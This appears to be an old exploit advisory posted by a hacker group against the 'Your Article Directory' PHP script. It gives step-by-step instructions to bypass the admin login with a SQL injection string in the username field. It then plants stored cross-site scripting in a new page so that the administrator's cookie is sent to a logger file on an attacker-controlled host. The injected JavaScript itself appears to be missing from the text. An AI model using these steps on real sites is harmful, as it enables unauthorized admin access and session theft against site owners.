___ ___ __ / | \_____ | | _____ ___ ___________ / ~ \__ \ | |/ /\ \/ // __ \_ __ \ \ Y // __ \| < > <\ ___/| | \/ \___|_ /(____ /__|_ \/__/\_ \\___ >__| \/ \/ \/ \/ \/ :: Egy Coders Team Researcher /- Your Article Directory => multiple vulnerabilities /- site : http://www.yourarticlesdirectory.com /- Demo : http://www.ezynearticles.com/designs/demo/yad-admin /- Greetz : all my friends /- http://hakxer.blogspot.com/ * hi every body * in this vulnerability you can get Authentication to bypass admin panel * first go to http://host/path/yad-admin/ * and in admin type * username : admin 'or' 1=1 * password : hakxer * now we in panel * you can make a cross site scripting vulnerability in panel * go to http://host/path/yad-admin/newpage.php * then in title write anything and in content write * >"
* and upload file into any webhost * then create logger.txt and chmod it to 777 * now the time to attack * goto http://host/path/yad-admin/newpage.php * and in title write ( blah blah come admin ) :d * and in content write this js code * and click save page * now if admin go to our saved page the cookie will send to logger.txt ** notes : ** use it in your own risk ./be safe - Hakxer -